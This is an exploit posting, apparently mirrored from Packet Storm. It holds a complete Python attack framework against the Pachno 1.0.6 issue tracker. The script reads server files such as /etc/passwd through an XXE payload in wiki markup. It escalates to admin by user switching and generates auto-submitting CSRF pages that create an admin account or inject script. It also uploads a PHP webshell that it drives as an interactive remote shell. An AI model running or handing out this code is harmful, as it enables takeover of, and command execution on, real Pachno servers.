Share
## https://sploitus.com/exploit?id=PACKETSTORM:225405
==================================================================================================================================
| # Title : Pachno 1.0.6 Multi-Vulnerability Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/pachno/pachno |
==================================================================================================================================
[+] Summary : This Python framework targets multiple security weaknesses in Pachno 1.0.6 and combines several attack paths into a single automation tool
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import re
import time
import json
import hashlib
import os
import argparse
from urllib.parse import urljoin, urlparse
from bs4 import BeautifulSoup
import random
import string
class PachnoExploit:
def __init__(self, host, username, password):
self.host = host.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
self.authenticated = False
self.user_id = None
self.csrf_token = None
def login(self):
"""Authenticate to Pachno"""
print(f"[*] Logging in as {self.username}...")
login_url = urljoin(self.host, '/login')
resp = self.session.get(login_url)
if resp.status_code != 200:
print(f"[-] Failed to reach login page: {resp.status_code}")
return False
login_data = {
'username': self.username,
'password': self.password,
'rememberme': '1'
}
resp = self.session.post(login_url, data=login_data, allow_redirects=False)
if resp.status_code in [302, 303] or 'username' in str(self.session.cookies):
self.authenticated = True
print(f"[+] Login successful!")
resp = self.session.get(urljoin(self.host, '/'))
soup = BeautifulSoup(resp.text, 'html.parser')
user_link = soup.find('a', href=re.compile(r'/user/\d+'))
if user_link:
match = re.search(r'/user/(\d+)', user_link.get('href', ''))
if match:
self.user_id = int(match.group(1))
print(f"[*] User ID: {self.user_id}")
csrf_input = soup.find('input', {'name': 'csrf_token'})
if csrf_input:
self.csrf_token = csrf_input.get('value')
print(f"[*] CSRF token: {self.csrf_token[:20]}...")
return True
else:
print(f"[-] Login failed!")
return False
def xxe_attack(self, wiki_page_id, file_to_read='/etc/passwd'):
"""XML External Entity attack via wiki table syntax"""
if not self.authenticated:
print("[-] Must login first!")
return None
print(f"[*] Attempting XXE attack on wiki page {wiki_page_id}")
xxe_payload = f'''{{|<!DOCTYPE x [<!ENTITY xxe SYSTEM "file://{file_to_read}">]> class="wikitable &xxe;"
|-
| ZSL
|}}'''
edit_url = urljoin(self.host, f'/docs/r/{wiki_page_id}/edit')
data = {
'article_content': xxe_payload,
'csrf_token': self.csrf_token if self.csrf_token else ''
}
resp = self.session.post(edit_url, data=data)
if resp.status_code == 200:
view_url = urljoin(self.host, f'/docs/{wiki_page_id}')
resp = self.session.get(view_url)
pattern = r'class="wikitable\s+([^"]*)"'
matches = re.findall(pattern, resp.text)
if matches:
print(f"[+] XXE successful! File contents:")
print("-" * 50)
print(matches[0])
print("-" * 50)
return matches[0]
else:
print("[-] Could not extract file contents")
return None
else:
print(f"[-] Failed to edit wiki page: {resp.status_code}")
return None
def privilege_escalation(self, target_user_id=1):
"""Vertical privilege escalation via runSwitchUser()"""
if not self.authenticated:
print("[-] Must login first!")
return False
print(f"[*] Attempting privilege escalation to user ID {target_user_id}")
self.session.cookies.set('original_username', 'attacker')
if not self.csrf_token:
resp = self.session.get(urljoin(self.host, '/'))
soup = BeautifulSoup(resp.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'csrf_token'})
if csrf_input:
self.csrf_token = csrf_input.get('value')
switch_url = urljoin(self.host, f'/userswitch/switch/{target_user_id}/{self.csrf_token or "dummy"}')
resp = self.session.post(switch_url, allow_redirects=False)
check_url = urljoin(self.host, '/configure')
resp = self.session.get(check_url)
if resp.status_code == 200 and ('admin' in resp.text.lower() or 'configuration' in resp.text.lower()):
print(f"[+] Privilege escalation successful! Now admin with user ID {target_user_id}")
if 'Welcome to the configuration' in resp.text or 'General settings' in resp.text:
print("[+] Confirmed admin access to configuration panel")
return True
else:
print("[-] Privilege escalation failed")
return False
def csrf_generate_payload(self, action_type, target_url=None, params=None):
"""Generate CSRF attack HTML payload"""
csrf_templates = {
'add_admin': {
'url': '/configure/users',
'params': {
'username': 'csrf_user',
'password': 'csrf123',
'password_repeat': 'csrf123',
'email': 'csrf@example.com',
'realname': 'CSRF Attack',
'group_id': '1'
}
},
'comment_injection': {
'url': '/project/issues/17/comment',
'params': {
'comment_body': '<script>alert("CSRF XSS")</script>',
'comment_applies_type': '1',
'comment_applies_id': '17',
'comment_module': 'core',
'comment_visibility': '1',
'comment_body_syntax': '0'
}
},
'logout': {
'url': '/logout',
'params': {}
}
}
if action_type not in csrf_templates:
print(f"[-] Unknown CSRF action: {action_type}")
return None
template = csrf_templates[action_type]
url = target_url or urljoin(self.host, template['url'])
post_params = params or template['params']
html = f'''<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body onload="document.forms[0].submit();">
<form method="POST" action="{url}">
'''
for key, value in post_params.items():
html += f' <input type="hidden" name="{key}" value="{value}" />\n'
html += ''' </form>
<p>Loading...</p>
</body>
</html>'''
return html
def upload_webshell(self):
"""Upload PHP webshell via unrestricted file upload"""
if not self.authenticated:
print("[-] Must login first!")
return None
print("[*] Attempting to upload webshell...")
webshell = '''<?php
if(isset($_REQUEST['cmd'])) {
$cmd = ($_REQUEST['cmd']);
echo "<pre>" . shell_exec($cmd) . "</pre>";
} else {
echo "Pachno Webshell - use ?cmd=command";
}
?>'''
extensions = ['.php5', '.phtml', '.php4', '.php3', '.php']
for ext in extensions:
filename = f"shell_{int(time.time())}_{random.randint(1000,9999)}{ext}"
files = {
'file': (filename, webshell, 'application/x-php')
}
upload_url = urljoin(self.host, '/uploadfile')
try:
resp = self.session.post(upload_url, files=files)
if resp.status_code in [200, 201, 204] or 'uploaded' in resp.text.lower():
print(f"[+] Webshell uploaded as: {filename}")
possible_paths = [
f"/public/{filename}",
f"/files/{filename}",
f"/uploads/{filename}",
f"/{filename}"
]
for path in possible_paths:
test_url = urljoin(self.host, path)
test_resp = self.session.get(test_url, params={'cmd': 'echo test'})
if test_resp.status_code == 200 and 'test' in test_resp.text:
print(f"[+] Webshell accessible at: {test_url}")
return test_url
match = re.search(r'(/public/[^\s"\']+\.php[0-9]?)', resp.text)
if match:
shell_url = urljoin(self.host, match.group(1))
print(f"[+] Webshell likely at: {shell_url}")
return shell_url
return None
except Exception as e:
continue
print("[-] Failed to upload webshell")
return None
def open_redirect(self, redirect_url="https://evil.com"):
"""Test open redirection vulnerability"""
print(f"[*] Testing open redirection to: {redirect_url}")
login_url = urljoin(self.host, '/login')
params = {'return_to': redirect_url}
resp = self.session.get(login_url, params=params, allow_redirects=False)
if resp.status_code in [302, 303] and redirect_url in resp.headers.get('Location', ''):
print(f"[+] Open redirection confirmed!")
print(f"[*] Redirects to: {resp.headers.get('Location')}")
return True
else:
print("[-] No open redirection detected")
return False
def deserialization_rce(self, gadget_chain="SwiftMailer/FW1", command="id"):
"""Exploit FileCache deserialization vulnerability"""
print("[*] Attempting deserialization RCE via cache poisoning")
test_payload = 'O:1:"R":1:{s:1:"r";R:1;}'
cache_files = [
'_configuration-2142a.cache',
'_routing.cache',
'_i18n.cache'
]
for cache_file in cache_files:
cache_path = os.path.join('/var/www/html/cache', cache_file)
print(f"[*] Checking cache file: {cache_file}")
print("[!] Deserialization RCE requires additional exploit chain")
print("[!] Use with XXE or file upload to write to cache directory")
return False
def interactive_shell(self, shell_url):
"""Interactive shell via uploaded webshell"""
if not shell_url:
print("[-] No webshell URL provided")
return
print("\n[Interactive Webshell]")
print("Type commands to execute, 'exit' to quit\n")
while True:
try:
cmd = input("pachno$ ").strip()
if cmd.lower() in ['exit', 'quit']:
break
if not cmd:
continue
resp = self.session.get(shell_url, params={'cmd': cmd})
if resp.status_code == 200:
print(resp.text)
else:
print(f"[-] HTTP {resp.status_code}")
except KeyboardInterrupt:
break
except Exception as e:
print(f"[-] Error: {e}")
def exploit_all(self):
"""Run all exploits sequentially"""
print("\n" + "="*60)
print("Pachno 1.0.6 Multi-Exploit Framework")
print("="*60)
if not self.authenticated:
if not self.login():
return
print("\n[1/6] Testing XXE vulnerability...")
self.xxe_attack('4', '/etc/passwd')
print("\n[2/6] Testing privilege escalation...")
self.privilege_escalation(1)
print("\n[3/6] Generating CSRF payloads...")
csrf_html = self.csrf_generate_payload('add_admin')
if csrf_html:
with open('pachno_csrf.html', 'w') as f:
f.write(csrf_html)
print("[+] CSRF payload saved to pachno_csrf.html")
print("\n[4/6] Attempting webshell upload...")
shell_url = self.upload_webshell()
print("\n[5/6] Testing open redirection...")
self.open_redirect("https://evil.com")
print("\n[6/6] Testing deserialization RCE...")
self.deserialization_rce()
if shell_url:
self.interactive_shell(shell_url)
def main():
parser = argparse.ArgumentParser(
description='Pachno 1.0.6 Multi-Vulnerability Exploit Framework',
epilog='Examples:\n'
' python %(prog)s -t http://127.0.0.1 -u admin -p admin\n'
' python %(prog)s -t http://127.0.0.1 -u user -p pass --xxe 4\n'
' python %(prog)s -t http://127.0.0.1 -u user -p pass --privesc\n'
' python %(prog)s -t http://127.0.0.1 -u user -p pass --upload\n'
' python %(prog)s -t http://127.0.0.1 -u user -p pass --csrf add_admin'
)
parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://127.0.0.1)')
parser.add_argument('-u', '--username', required=True, help='Username for authentication')
parser.add_argument('-p', '--password', required=True, help='Password for authentication')
parser.add_argument('--xxe', metavar='PAGE_ID', help='Test XXE on wiki page')
parser.add_argument('--xxe-file', default='/etc/passwd', help='File to read via XXE')
parser.add_argument('--privesc', action='store_true', help='Test privilege escalation')
parser.add_argument('--privesc-target', type=int, default=1, help='Target user ID for privesc')
parser.add_argument('--csrf', choices=['add_admin', 'comment_injection', 'logout'],
help='Generate CSRF payload')
parser.add_argument('--upload', action='store_true', help='Upload webshell')
parser.add_argument('--redirect', help='Test open redirection to URL')
parser.add_argument('--all', action='store_true', help='Run all exploits')
args = parser.parse_args()
exploit = PachnoExploit(args.target, args.username, args.password)
if not exploit.login():
sys.exit(1)
if args.xxe:
exploit.xxe_attack(args.xxe, args.xxe_file)
if args.privesc:
exploit.privilege_escalation(args.privesc_target)
if args.csrf:
html = exploit.csrf_generate_payload(args.csrf)
if html:
filename = f'pachno_csrf_{args.csrf}.html'
with open(filename, 'w') as f:
f.write(html)
print(f"[+] CSRF payload saved to {filename}")
if args.upload:
shell_url = exploit.upload_webshell()
if shell_url:
exploit.interactive_shell(shell_url)
if args.redirect:
exploit.open_redirect(args.redirect)
if args.all:
exploit.exploit_all()
if not any([args.xxe, args.privesc, args.csrf, args.upload, args.redirect, args.all]):
parser.print_help()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================